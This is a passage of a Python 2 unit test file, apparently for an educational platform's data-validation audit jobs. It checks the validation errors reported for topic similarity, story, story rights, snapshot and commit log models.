u'[u\'failed validation check for topic similarity check ' 'of TopicSimilaritiesModel\', [u"Entity id topics: ' 'Topic similarity validation for content: {u\'Art\': ' '{u\'Biology\': u\'0.5\', u\'Art\': u\'1.0\'}} fails with ' 'error: Length of topic similarities rows: 2 does not match ' 'length of topic list: 1."]]')] run_job_and_check_output(self, expected_output) def test_model_with_invalid_similarity_type(self): content = { 'Art': {'Art': 'one', 'Biology': 0.5}, 'Biology': {'Art': 0.5, 'Biology': 1.0} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity ' 'check of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Biology\': {u\'Biology\': 1.0, u\'Art\': 0.5}, ' 'u\'Art\': {u\'Biology\': 0.5, u\'Art\': u\'one\'}} ' 'fails with error: Expected similarity to be a float, ' 'received one"]]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_similarity_value(self): content = { 'Art': {'Art': 10.0, 'Biology': 0.5}, 'Biology': {'Art': 0.5, 'Biology': 1.0} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity check ' 'of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Biology\': {u\'Biology\': 1.0, u\'Art\': 0.5}, ' 'u\'Art\': {u\'Biology\': 0.5, u\'Art\': 10.0}} ' 'fails with error: Expected similarity to be between ' '0.0 and 1.0, received 10.0"]]')] run_job_and_check_output(self, expected_output) def test_model_with_assymetric_content(self): content = { 'Art': {'Art': 1.0, 'Biology': 0.5}, 'Biology': {'Art': 0.6, 'Biology': 1.0} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity ' 'check of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Biology\': {u\'Biology\': 1.0, u\'Art\': 0.6}, ' 'u\'Art\': {u\'Biology\': 0.5, u\'Art\': 1.0}} fails with error: ' 'Expected topic similarities to be symmetric."]]')] run_job_and_check_output(self, expected_output) class StoryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StoryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') language_codes = ['ar', 'en', 'en'] stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d', corresponding_topic_id='0' ) for i in xrange(3)] for index, story in enumerate(stories): story.language_code = language_codes[index] story.add_node('node_1', 'Node1') story.add_node('node_2', 'Node2') story.update_node_destination_node_ids('node_1', ['node_2']) story.update_node_exploration_id( 'node_1', explorations[index * 2].id) story.update_node_exploration_id( 'node_2', explorations[index * 2 + 1].id) topic.add_canonical_story(story.id) story_services.save_new_story(self.owner_id, story) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = story_models.StoryModel.get_by_id('0') self.model_instance_1 = story_models.StoryModel.get_by_id('1') self.model_instance_2 = story_models.StoryModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.StoryModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StoryModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of StoryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_story_schema(self): expected_output = [ ( u'[u\'failed validation check for domain object check of ' 'StoryModel\', ' '[u\'Entity id %s: Entity fails domain validation with the ' 'error Invalid language code: %s\']]' ) % (self.model_instance_0.id, self.model_instance_0.language_code), u'[u\'fully-validated StoryModel\', 2]'] with self.swap( constants, 'ALL_LANGUAGE_CODES', [{ 'code': 'en', 'description': 'English'}]): run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids field ' 'check of StoryModel\', ' '[u"Entity id 0: based on field exploration_ids having value ' '1, expect model ExplorationModel with id 1 but it ' 'doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_commit_log_entry_model_failure(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') story_models.StoryCommitLogEntryModel.get_by_id( 'story-0-1').delete() expected_output = [ ( u'[u\'failed validation check for ' 'story_commit_log_entry_ids field check of ' 'StoryModel\', ' '[u"Entity id 0: based on field ' 'story_commit_log_entry_ids having value ' 'story-0-1, expect model StoryCommitLogEntryModel ' 'with id story-0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_summary_model_failure(self): story_models.StorySummaryModel.get_by_id('0').delete() expected_output = [ ( u'[u\'failed validation check for story_summary_ids ' 'field check of StoryModel\', ' '[u"Entity id 0: based on field story_summary_ids having ' 'value 0, expect model StorySummaryModel with id 0 ' 'but it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_rights_model_failure(self): story_models.StoryRightsModel.get_by_id( '0').delete(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for story_rights_ids ' 'field check of StoryModel\', ' '[u"Entity id 0: based on field story_rights_ids having ' 'value 0, expect model StoryRightsModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): story_models.StorySnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of StoryModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model StorySnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): story_models.StorySnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of StoryModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model StorySnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StorySnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(StorySnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: if story.id != '0': story_services.save_new_story(self.owner_id, story) else: story_services.save_new_story(self.user_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StorySnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( story_models.StorySnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( story_models.StorySnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .StorySnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StorySnapshotMetadataModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StorySnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'StorySnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StorySnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StorySnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field story_ids ' 'having value 0, expect model StoryModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'story_ids having value 0, expect model ' 'StoryModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'StorySnapshotMetadataModel\', 2]')] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of StorySnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'StorySnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StorySnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story model ' 'version check of StorySnapshotMetadataModel\', ' '[u\'Entity id 0-3: Story model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated StorySnapshotMetadataModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_story_node' }, { 'cmd': 'delete_story_node', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_story_node check of ' 'StorySnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'delete_story_node\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'node_id, The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd add_story_node ' 'check of StorySnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_story_node\'} ' 'failed with error: The following required attributes ' 'are missing: node_id, title"]]' ), u'[u\'fully-validated StorySnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StorySnapshotContentModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StorySnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: story_services.save_new_story(self.owner_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StorySnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( story_models.StorySnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( story_models.StorySnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .StorySnapshotContentModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StorySnapshotContentModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StorySnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'StorySnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StorySnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryModel.get_by_id('0').delete(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StorySnapshotContentModel\', ' '[u"Entity id 0-1: based on field story_ids ' 'having value 0, expect model StoryModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'story_ids having value 0, expect model ' 'StoryModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'StorySnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StorySnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story model ' 'version check of StorySnapshotContentModel\', ' '[u\'Entity id 0-3: Story model corresponding to ' 'id 0 has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ), ( u'[u\'fully-validated StorySnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class StoryRightsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StoryRightsModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.set_admins([self.ADMIN_USERNAME]) self.admin = user_services.UserActionsInfo(self.admin_id) manager1_email = 'user@manager1.com' manager2_email = 'user@manager2.com' self.signup(manager1_email, 'manager1') self.signup(manager2_email, 'manager2') self.set_topic_managers(['manager1', 'manager2']) self.manager1_id = self.get_user_id_from_email(manager1_email) self.manager2_id = self.get_user_id_from_email(manager2_email) self.manager1 = user_services.UserActionsInfo(self.manager1_id) self.manager2 = user_services.UserActionsInfo(self.manager2_id) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: story_services.save_new_story(self.owner_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) story_services.assign_role( self.admin, self.manager1, story_domain.ROLE_MANAGER, stories[0].id) story_services.assign_role( self.admin, self.manager2, story_domain.ROLE_MANAGER, stories[0].id) story_services.assign_role( self.admin, self.manager2, story_domain.ROLE_MANAGER, stories[1].id) self.model_instance_0 = story_models.StoryRightsModel.get_by_id('0') self.model_instance_1 = story_models.StoryRightsModel.get_by_id('1') self.model_instance_2 = story_models.StoryRightsModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.StoryRightsModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated StoryRightsModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StoryRightsModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryRightsModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StoryRightsModel\', ' '[u"Entity id 0: based on field story_ids having ' 'value 0, expect model StoryModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_manager_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.manager1_id).delete() expected_output = [ ( u'[u\'failed validation check for manager_user_ids ' 'field check of StoryRightsModel\', ' '[u"Entity id 0: based on field manager_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % ( self.manager1_id, self.manager1_id), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): story_models.StoryRightsSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of StoryRightsModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model ' 'StoryRightsSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]' ), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): story_models.StoryRightsSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of StoryRightsModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model StoryRightsSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StoryRightsSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(StoryRightsSnapshotMetadataModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: if story.id != '0': story_services.save_new_story(self.owner_id, story) else: story_services.save_new_story(self.user_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StoryRightsSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( story_models.StoryRightsSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( story_models.StoryRightsSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .StoryRightsSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated StoryRightsSnapshotMetadataModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StoryRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_rights_model_failure(self): story_models.StoryRightsModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for story_rights_ids ' 'field check of StoryRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field story_rights_ids ' 'having value 0, expect model StoryRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'story_rights_ids having value 0, expect model ' 'StoryRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of StoryRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'StoryRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StoryRightsSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story rights model ' 'version check of StoryRightsSnapshotMetadataModel\', ' '[u\'Entity id 0-3: StoryRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotMetadataModel\', 3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'change_role', 'assignee_id': 'id', 'new_role': 'manager' }, { 'cmd': 'publish_story', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'change_role check of ' 'StoryRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'assignee_id\': u\'id\', ' 'u\'cmd\': u\'change_role\', u\'new_role\': u\'manager\'} ' 'failed with error: The following required attributes ' 'are missing: old_role"]]' ), ( u'[u\'failed validation check for commit cmd publish_story ' 'check of StoryRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'publish_story\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following extra attributes are present: ' 'invalid_attribute"]]' ), u'[u\'fully-validated StoryRightsSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StoryRightsSnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(StoryRightsSnapshotContentModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: story_services.save_new_story(self.owner_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StoryRightsSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( story_models.StoryRightsSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( story_models.StoryRightsSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .StoryRightsSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated StoryRightsSnapshotContentModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StoryRightsSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryRightsSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryRightsModel.get_by_id('0').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for story_rights_ids ' 'field check of StoryRightsSnapshotContentModel\', ' '[u"Entity id 0-1: based on field story_rights_ids ' 'having value 0, expect model StoryRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'story_rights_ids having value 0, expect model ' 'StoryRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StoryRightsSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story rights model ' 'version check of StoryRightsSnapshotContentModel\', ' '[u\'Entity id 0-3: StoryRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot content model id\']]' ), ( u'[u\'fully-validated StoryRightsSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class StoryCommitLogEntryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StoryCommitLogEntryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: story_services.save_new_story(self.owner_id, story) 